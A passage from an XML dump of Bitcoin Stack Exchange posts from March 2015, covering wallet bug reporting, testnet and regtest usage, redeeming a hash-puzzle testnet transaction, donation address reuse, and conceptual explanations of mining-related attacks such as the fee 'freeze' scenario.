them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A link to this question.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The link to the page on BitEasy that shows your transaction had no fee.  Note: this may reduce your privacy (but it won't put your bitcoins directly at risk); if you uncomfortable with that, ask them if you can send them that link by email---I'm sure they'll accept.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What version of Android you use (Settings→Device Information→Version) and whether you use the latest version of Bitcoin Wallet For Android from the Google Play store.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whether or not you completely emptied the balance of your wallet.  I think there's some special code that gets run when that happens.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Anything else unusual that you noticed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also want to provide a copy of the text from the email Coinbase support sent you after removing any personal information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you use a different wallet, you'll need to follow the same basic steps but at a different URL.  Let me know the full name of your wallet in a comment below, and I'll find the most appropriate link.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read the response from the developers closely and respond as best you can.  Please note that Andreas, Mike, and everyone else who works on Bitcoin Wallet For Android are all volunteers, so it sometimes takes them a while to get to new issues---please be patient.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This may seem like a fair amount of work, but filing issues is one of the ways you can support great open source software like Bitcoin Wallet For Android.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-03-03T20:46:09.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36306" PostTypeId="2" ParentId="2293" CreationDate="2015-03-04T03:54:44.853" Score="0" Body="&lt;p&gt;I can recommend my favorite instant exchange &lt;a href=&quot;https://www.247exchange.com/buy&quot; rel=&quot;nofollow&quot;&gt;https://www.247exchange.com/buy&lt;/a&gt; although they have quite strict verification requirements for orders paid by credit cards and order limit starts from $100 for first order, their rate is very good and their support is very helpful. It's rather new exchange, but it's run by financial company, website is PCI compliant so using 247exchange is a reliable way to buy bitcoins with credit card.&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-03-04T03:54:44.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36307" PostTypeId="2" ParentId="32961" CreationDate="2015-03-04T04:08:55.943" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Fiat deposits/withdrawals vary from something like 1% to 6% I can't recall off the top of my head.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That depends on the payment method, wire transfers for example are 1% (and quite slow btw) and online payment systems are more expenses (and many of them are very questionable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I want to trade at btc-e I usually buy bitcoins using faster services, than send bitcoins to btc-e&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-03-04T04:08:55.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36308" PostTypeId="2" ParentId="36015" CreationDate="2015-03-04T04:14:49.867" Score="1" Body="&lt;p&gt;There are services that allow you to withdraw bitcoins to a third person's bank account. In that case your friend will not need to convert bitcoin to cash. I believe it will be quite easier - there also are bitcoin to bank/cash exchanges in China, but due to their regulations, such exchanges are operating using personal accounts or some schemes that are rather risky and hard to understand for the newbie.&lt;/p&gt;&#xA;" OwnerUserId="20992" LastEditorUserId="2306" LastEditDate="2015-03-08T20:29:40.820" LastActivityDate="2015-03-08T20:29:40.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36309" PostTypeId="2" ParentId="25153" CreationDate="2015-03-04T04:21:59.983" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.xe.com/xecurrencydata/&quot; rel=&quot;nofollow&quot;&gt;http://www.xe.com/xecurrencydata/&lt;/a&gt; but it will cost you, or some of the free services like: &lt;a href=&quot;http://www.coindesk.com/api/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/api/&lt;/a&gt; (but you'll have far less functions)&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-03-04T04:21:59.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36312" PostTypeId="2" ParentId="36254" CreationDate="2015-03-04T08:12:30.517" Score="2" Body="&lt;p&gt;There are multiple reasons why you do not see individual address balances or get to choose the sender address:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For privacy reasons your client will generate a new address for every change output in your transactions. Soon, you'd have many more addresses; and choosing from a long list of addresses is not user-friendly.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Addresses are not wallets nor accounts, and do not carry balances. They only receive funds, and you do not send &quot;from&quot; an address at any time.&quot; (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Address#Misconceptions&quot; rel=&quot;nofollow&quot;&gt;Address Misconceptions&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;There is no &quot;from&quot; address (see &lt;a href=&quot;https://en.bitcoin.it/wiki/From_address&quot; rel=&quot;nofollow&quot;&gt;From address&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2015-03-04T08:12:30.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36313" PostTypeId="1" AcceptedAnswerId="38468" CreationDate="2015-03-04T08:22:44.693" Score="1" ViewCount="3831" Body="&lt;p&gt;I need to pass private key while creating a wallet in blockchain.info through api call which is defined here &lt;a href=&quot;https://blockchain.info/api/create_wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/create_wallet&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using php for creating wallets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest me any custom php function to create a private key (Wallet import format preferred) and pass in the create wallet api call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="20869" LastActivityDate="2015-07-08T09:36:58.143" Title="How to generate a private key to create wallet through api in Block chain" Tags="|wallet|blockchain|blockchain.info|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36314" PostTypeId="2" ParentId="5674" CreationDate="2015-03-04T08:58:15.363" Score="0" Body="&lt;p&gt;Maybe you should try using different directories through the &lt;code&gt;datadir&lt;/code&gt; argument. That way the production data and test net data would be stored in different folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REF: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=771930.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=771930.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24579" LastEditorUserId="5406" LastEditDate="2015-03-04T11:02:12.663" LastActivityDate="2015-03-04T11:02:12.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36315" PostTypeId="1" AcceptedAnswerId="36316" CreationDate="2015-03-04T09:15:54.343" Score="0" ViewCount="893" Body="&lt;p&gt;I created the following non-standard Tx on the Testnet3 network: &lt;a href=&quot;https://blockexplorer.com/testnet/rawtx/6b52c981e6814072db77cb755b2633cd126b4ca21501d18ab994531e17a4a813&quot; rel=&quot;nofollow&quot;&gt;6b52c981e6814072db77cb755b2633cd126b4ca21501d18ab994531e17a4a813&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;hash: &quot;6b52c981e6814072db77cb755b2633cd126b4ca21501d18ab994531e17a4a813&quot;,&#xA;ver: 1,&#xA;vin_sz: 1,&#xA;vout_sz: 1,&#xA;lock_time: 0,&#xA;size: 234,&#xA;in: [&#xA;{&#xA;prev_out: {&#xA;hash: &quot;a61a8bd4aaab2aa935f2e62672a783ca936821c94e021caed747d3ff8b658ff7&quot;,&#xA;n: 0&#xA;},&#xA;scriptSig: &quot;3045022100b4b97d5f21efa866ffc25ae4e20b4427adbeffca0fb8ea5d90ef261e1050c43e022077d1e734b077630b3634f91b2d60eb267f4a4e3e25ad9a0f56825363eee0fdc001 04dcc0cf808a5313ee50185575a850738011730247273aa3e11f400f7904e01fda86383ff0e8ed2ba201cb6cfb974d6148199ffc635d92b92b834ec04885bb9a71&quot;&#xA;}&#xA;],&#xA;out: [&#xA;{&#xA;value: &quot;0.00080000&quot;,&#xA;scriptPubKey: &quot;OP_SHA256 931d236179670b00348f87bea4199fe18297f0ef26da02c7542bd54d5b7836d8 OP_EQUAL&quot;&#xA;}&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of interest, is: &lt;code&gt;&quot;OP_SHA256 931d236179670b00348f87bea4199fe18297f0ef26da02c7542bd54d5b7836d8 OP_EQUAL&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hashed 'secret' = &lt;code&gt;adfladsfhuifo8ry8fh4u4et4e5tsg415et458s43etg41s35e4g3541r35g143sg54s385g41s535e1g435s4g;.:;,[@snrltgnjslenjrgklsnleignilsnklgnslnglk&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sha256(secret)&lt;/code&gt; = &lt;code&gt;931d236179670b00348f87bea4199fe18297f0ef26da02c7542bd54d5b7836d8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BTC Wiki Script page (namely, &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Transaction_puzzle&quot; rel=&quot;nofollow&quot;&gt;Puzzle Tx section&lt;/a&gt;) provides a high-level discussion (of DOUBLE SHA256, note this is just SHA256 ie &lt;code&gt;0xa8&lt;/code&gt;. This &lt;a href=&quot;https://bitcointalk.org/index.php?topic=915114.25&quot; rel=&quot;nofollow&quot;&gt;BTCtalk discussion&lt;/a&gt; provides the aforementioned secret, raw Tx format, etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am trying to redeem &lt;code&gt;010000000113a8a4171e5394b98ad10115a24c6b12cd33265b75cb77db724081e681c9526b0000000000ffffffff01204e000000000000864c846164666c61647366687569666f38727938666834753465743465357473673431356574343538733433657467343173333565346733353431723335673134337367353473333835673431733533356531673433357334673b2e3a3b2c5b40736e726c74676e6a736c656e6a72676b6c736e6c6569676e696c736e6b6c676e736c6e676c6b00000000&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;txid&quot; : &quot;717b0d0db10f79d38553d2aeda3994768fda306fa5331d055fb3cf00818a6d7e&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;{&#xA;&quot;txid&quot; : &quot;6b52c981e6814072db77cb755b2633cd126b4ca21501d18ab994531e17a4a813&quot;,&#xA;&quot;vout&quot; : 0,&#xA;&quot;scriptSig&quot; : {&#xA;&quot;asm&quot; : &quot;&quot;,&#xA;&quot;hex&quot; : &quot;&quot;&#xA;},&#xA;&quot;sequence&quot; : 4294967295&#xA;}&#xA;],&#xA;&quot;vout&quot; : [&#xA;{&#xA;&quot;value&quot; : 0.00020000,&#xA;&quot;n&quot; : 0,&#xA;&quot;scriptPubKey&quot; : {&#xA;&quot;asm&quot; : &quot;6164666c61647366687569666f38727938666834753465743465357473673431356574343538733433657467343173333565346733353431723335673134337367353473333835673431733533356531673433357334673b2e3a3b2c5b40736e726c74676e6a736c656e6a72676b6c736e6c6569676e696c736e6b6c676e736c6e676c6b&quot;,&#xA;&quot;hex&quot; : &quot;4c846164666c61647366687569666f38727938666834753465743465357473673431356574343538733433657467343173333565346733353431723335673134337367353473333835673431733533356531673433357334673b2e3a3b2c5b40736e726c74676e6a736c656e6a72676b6c736e6c6569676e696c736e6b6c676e736c6e676c6b&quot;,&#xA;&quot;type&quot; : &quot;nonstandard&quot;&#xA;}&#xA;}&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it's looks fine, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, signing (with &lt;code&gt;signrawtransaction&lt;/code&gt;) returns hex data with a false flag for complete. Furthermore, both signed and unsigned hex strings return this error: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;16: mandatory-script-verify-flag-failed (Operation not valid with the current stack size) (code -26)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any insight into what the issue may be, and, perhaps more helpfully to everyone else, &lt;strong&gt;assuming P2SH is not an option&lt;/strong&gt;, how does one redeem these outputs?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-04T09:37:20.930" Title="Redeeming OP_SHA256 hash OP_EQUAL (Testnet) Tx" Tags="|bitcoin-core|testnet|raw-transaction|transaction-verification|raw|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36316" PostTypeId="2" ParentId="36315" CreationDate="2015-03-04T09:25:07.017" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So, it's looks fine, right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. It does not look fine. You have to put your 'secret' into scriptSig. And your scriptPubkey should be redeem to one of your addresses (for example to msimoNvz23QXyiRofLtGSCsVdkdsNJn4SU). You should not try to sign this transaction - redeeming it does not require ecdsa signature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this:&#xA;(sorry, I did it &quot;by hands&quot;, so it may be incorrect)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01 &#xA;13a8a4171e5394b98ad10115a24c6b12cd33265b75cb77db724081e681c9526b&#xA;00000000&#xA;&#xA;86    // length of script&#xA;4c84  // push 0x84 following bytes&#xA;6164666c61647366687569666f38727938666834753465743465357473673431356574343538733433657467343173333565346733353431723335673134337367353473333835673431733533356531673433357334673b2e3a3b2c5b40736e726c74676e6a736c656e6a72676b6c736e6c6569676e696c736e6b6c676e736c6e676c6b&#xA;ffffffff&#xA;&#xA;01                 // one output&#xA;204e000000000000   // value in hex&#xA;19                 // length&#xA;76 A9 14 85ddbd9c2f9733dc3860b9e1ffcdc0da2633004b 88 AC // redeem to msimoNvz23QXyiRofLtGSCsVdkdsNJn4SU&#xA;&#xA;00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-03-04T09:37:20.930" LastActivityDate="2015-03-04T09:37:20.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36318" PostTypeId="2" ParentId="696" CreationDate="2015-03-04T12:20:46.740" Score="1" Body="&lt;p&gt;I looked at this back in 2011. It was easier then as Bitcoin clients used to all connect to an IRC channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://41j.com/blog/2011/09/the-distribution-of-bitcoin-users/&quot; rel=&quot;nofollow&quot;&gt;http://41j.com/blog/2011/09/the-distribution-of-bitcoin-users/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall the majority of clients were in the US and Germany at that point.&lt;/p&gt;&#xA;" OwnerUserId="24582" LastActivityDate="2015-03-04T12:20:46.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36319" PostTypeId="2" ParentId="5674" CreationDate="2015-03-04T12:38:38.960" Score="3" Body="&lt;p&gt;As of &lt;a href=&quot;https://bitcoin.org/en/release/v0.7.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Core 0.7.1&lt;/a&gt; (19 October 2012), you can run both mainnet and testnet by simply starting Bitcoin Core with the appropriate flags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -daemon           # mainnet, -daemon will cause it to fork into the background&#xA;bitcoind -daemon -testnet  # testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As of &lt;a href=&quot;https://bitcoin.org/en/release/v0.9.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Core 0.9.0&lt;/a&gt; (19 March 2014), you can easily use &lt;code&gt;bitcoin-cli&lt;/code&gt; to send commands to both nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getinfo           # mainnet, uses port  8332 for RPC-JSON&#xA;bitcoin-cli -testnet getinfo  # testnet, uses port 18332 for RPC-JSON&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also as of Bitcoin Core 0.9.0, there is a regression test mode (&quot;&lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;regtest&lt;/a&gt;&quot;) that can speed up development and testing of apps by nearly instantly generating an alternative block chain with super-low difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, regtest mode runs on the same ports as testnet (18333 for &lt;a href=&quot;https://bitcoin.org/en/developer-reference#p2p-network&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin P2P&lt;/a&gt;, 18332 for &lt;a href=&quot;https://bitcoin.org/en/developer-reference#bitcoin-core-apis&quot; rel=&quot;nofollow noreferrer&quot;&gt;RPC-JSON/HTTP REST&lt;/a&gt;), although it does use a different data directory from testnet.  That means the two commands below will both address a default testnet or regtest node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -testnet getinfo  ## sends command to port 18332&#xA;bitcoin-cli -regtest getinfo  ## also sends command to port 18332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/32666/21052&quot;&gt;This answer&lt;/a&gt; has some basic sample code showing running two regtest nodes on the same machine, but you can also do something similar if you want to run a testnet node and regtest node at the same time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Post script: Pieter Wuille's accepted answer confuses me.  It says he wrote it on 9 December 2012, but this &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/842a31ad1bea930c7ae2adcea929e3b8f0febfed&quot; rel=&quot;nofollow noreferrer&quot;&gt;merge by Pieter&lt;/a&gt; says he added code (written by @kjj2) changing the testnet port to 18332 on 28 September 2012---over two months earlier.  Also, that code was included in Bitcoin Core 0.7.1 released in October 2012, still almost two months earlier than Pieter's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Shrug.&lt;/em&gt;  I guess maybe he just forgot about the change.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-03-04T12:38:38.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36320" PostTypeId="1" AcceptedAnswerId="36324" CreationDate="2015-03-04T13:23:14.570" Score="7" ViewCount="933" Body="&lt;p&gt;I am running a blog and would like to receive donations from my followers. So I thought to add a bitcoin address on my &quot;Support me&quot;-page!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse#Security&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.it&lt;/a&gt;, it is recommended to never reuse addresses, which is supported by citing not only Privacy concerns (not my concern here) but especially for security reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it safe to use (and thus reuse) the same address for all my donations?&lt;/li&gt;&#xA;&lt;li&gt;If not, what are the best practices?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23205" LastEditorUserId="5406" LastEditDate="2016-01-19T09:14:27.113" LastActivityDate="2016-01-19T09:14:27.113" Title="Receiving donation on a bitcoin address and security issues of reusing the same address" Tags="|security|donation|address-reuse|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36321" PostTypeId="1" AcceptedAnswerId="36322" CreationDate="2015-03-04T14:26:15.147" Score="0" ViewCount="3048" Body="&lt;p&gt;RPC does not return the raw transaction for the genesis block. I need to get this data for other coins to be able to add them to ABE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe/blob/master/Abe/genesis_tx.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe/blob/master/Abe/genesis_tx.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the RPC does not return it I presume that I need to somehow parse the actual blockchain files to extract it but have no idea how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on getting the raw hex TX for any coin?&lt;/p&gt;&#xA;" OwnerUserId="24583" LastActivityDate="2015-10-04T07:04:42.377" Title="Extract genesis block raw TX data" Tags="|raw-transaction|genesis-block|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36322" PostTypeId="2" ParentId="36321" CreationDate="2015-03-04T15:47:58.497" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;take genesis block&lt;/li&gt;&#xA;&lt;li&gt;skip first 80 bytes&lt;/li&gt;&#xA;&lt;li&gt;convert rest bytes to hex&lt;/li&gt;&#xA;&lt;li&gt;that's all&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-03-04T16:28:36.113" LastActivityDate="2015-03-04T16:28:36.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36323" PostTypeId="1" AcceptedAnswerId="36327" CreationDate="2015-03-04T18:18:25.310" Score="0" ViewCount="256" Body="&lt;p&gt;How are malicious nodes prevented from, after getting the nonce of a new block found by someone else, broadcast it to the other nodes claiming it to be its?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how does the bitcoin system solve the situation of an evil miner who has found the nonce of a block and then sends it with 2 different nodes, each one reaching 50% of the network, therefore having a problem of ownership of this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if all nodes have to check a broadcasted nonce to prove it's legit, how does the network defend against attacks in which thousands of ip adresses (e.g. botnet) start sending wrong nonces, causing a cpu DDoS because of all the peers hashing and checking these nonces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: As the three questions are related I thought that putting them all in a single question was correct, if not told me and I will edit the text to only contain the first question, placing the other two in different questions.&lt;/p&gt;&#xA;" OwnerUserId="24585" LastEditorUserId="2306" LastEditDate="2015-03-04T18:25:51.973" LastActivityDate="2015-03-04T22:36:09.083" Title="How does bitcoin prevent this network splitting attack?" Tags="|network|attack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36324" PostTypeId="2" ParentId="36320" CreationDate="2015-03-04T18:30:20.467" Score="4" Body="&lt;p&gt;For a blog that only receives occasional small amounts you probably shouldn't worry too much about it.  However, if you plan to scale up, here are some things to consider:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue with using the same address for all transactions is that people can see the total amount received by that address and know how many bitcoins you have.  If the total is large enough, this might make you a target for attack, especially if you publish personal information along with the bitcoin address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another potential issue is that people can see who else is donating to you.  They only see the bitcoin addresses used, but this might be enough to draw some conclusions about who they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best practice is to use new addresses for each donation.  This way there is no link among the transactions except in your wallet, which is only accessible by you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan to keep bitcoins (instead of just receiving them and cashing them in), you should look into creating an offline wallet.  You could generate a new address for each web page view, and then transfer funds from each of the addresses that received a donation to a different pre-computed offline wallet address.  &lt;/p&gt;&#xA;" OwnerUserId="18815" LastActivityDate="2015-03-04T18:30:20.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36325" PostTypeId="2" ParentId="36320" CreationDate="2015-03-04T19:21:18.927" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But on bitcoin.it, it is recommended to never reuse addresses (not only for Privacy (not my concern here) but especially for security purposes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't make a security difference. The two attacks mentioned (deriving k through a timing attack, and reusing k for two transactions) have very little to do with address reuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't care that someone can link your transactions together, listing a constant donation address is fine.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-04T19:21:18.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36327" PostTypeId="2" ParentId="36323" CreationDate="2015-03-04T22:36:09.083" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How are malicious nodes prevented from, after getting the nonce of a&#xA;  new block found by someone else, broadcast it to the other nodes&#xA;  claiming it to be its?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The nonce is found against a block which contains the coinbase transaction which claims the reward to the address of the person who found that nonce. So you can't &lt;em&gt;claim&lt;/em&gt; it to be yours. You're incentivized to broadcast it to as many peers as possible to help it spread more quickly, but that nonce only works for the block which contains that specific coinbase transaction. Changing the coinbase transaction to claim the coins yourself would result in a different hash of the block and therefore you'd need to find a new nonce.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, how does the bitcoin system solve the situation of an evil miner&#xA;  who has found the nonce of a block and then sends it with 2 different&#xA;  nodes, each one reaching 50% of the network, therefore having a&#xA;  problem of ownership of this work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure I understand this question but if there's a node with more than 50% of the hashing power of the entire network combined, we're in for larger problems.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally, if all nodes have to check a broadcasted nonce to prove it's&#xA;  legit, how does the network defend against attacks in which thousands&#xA;  of ip adresses (e.g. botnet) start sending wrong nonces, causing a cpu&#xA;  DDoS because of all the peers hashing and checking these nonces.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, nonces work with the hash of a block. All you have to do to check the validity of the nonce is see whether the resulting hash is smaller than a specific value. If it is, you've found a valid block! So there's no problem in checking or DDoSing the nonces. In fact that's what mining is: a race for finding a valid nonce for the next block.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-03-04T22:36:09.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36328" PostTypeId="2" ParentId="35898" CreationDate="2015-03-05T00:17:16.037" Score="1" Body="&lt;p&gt;Using a 12V 2A supply will be OK in scrypt only mode. I am using a 12V 1A for a gridseed in scrypt only mode. If you remove the fan @850Hz you can get the power usage down to 6W, other wise it is 8W. 12V x 2A gives maximum of 24W power available so loads of overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CCTV 12V DC power splits are available for a few $/£ which can power multiple gridseeds if you have a 12V 5A supply. I am powering 4 from a 12V 5A supply with fans removed.&lt;/p&gt;&#xA;" OwnerUserId="24587" LastActivityDate="2015-03-05T00:17:16.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36330" PostTypeId="2" ParentId="35986" CreationDate="2015-03-05T08:59:12.197" Score="2" Body="&lt;p&gt;It would seem &lt;a href=&quot;https://bitslog.wordpress.com/2014/10/05/the-bitcoin-freeze-on-transaction-attack-front/&quot; rel=&quot;nofollow&quot;&gt;using a large Tx fee is an attack vector&lt;/a&gt; in that miners will all realign to try and solve the block at height &lt;em&gt;n&lt;/em&gt;, which is quite different to the normal situation where it's usually two chains competing for length. The outcome requires 100% &quot;rational actors&quot; trying to mine the block height &lt;em&gt;n&lt;/em&gt; and the ability of the nodes to detect the errantly/anomalously high fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A description from the blog of the &lt;strong&gt;Freeze Attack&lt;/strong&gt;, postulating a ฿50 Tx fee:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The freeze problem occurs if someone publishes a transaction with fees&#xA;  much higher than the block subsidy. I don’t remember who described the&#xA;  attack first. Suppose that, by mistake, a transaction is published&#xA;  with 50 BTC in fees. The transaction is included in a block at height&#xA;  n. If everyone acts rationally in his own interest, then the best&#xA;  choice for the remaining miners is to try to mine a competing block at&#xA;  the same height n including the high-fee transaction, to collect the&#xA;  fee for themselves. All the miners having solved the block at height&#xA;  n, now move on mining at height (n+1). But they won’t choose each&#xA;  other branches until one branch is sufficiently longer so that it is&#xA;  better to switch to it and abandon their own branch rather than try to&#xA;  keep the block with the high fee. This case is different from the real&#xA;  block competition case we see periodically on the blockchain, where&#xA;  the miners are generally split between two branches. Here there are&#xA;  multiple branches competing. If there are 10 “top” miners each having&#xA;  10% of the network hashing power, then 10 different branches will&#xA;  compete. The analysis for this case is similar to the Gambler’s Ruin&#xA;  problem analysis present in the Satoshi paper, but with a fixed&#xA;  constant monetary incentive not to switch. Since the incentive to&#xA;  switch grows exponentially with the branch length difference, any&#xA;  initial constant is diluted. In the special and rare case that all the&#xA;  miners have exactly the same hashing power, then the network diverges,&#xA;  and this is 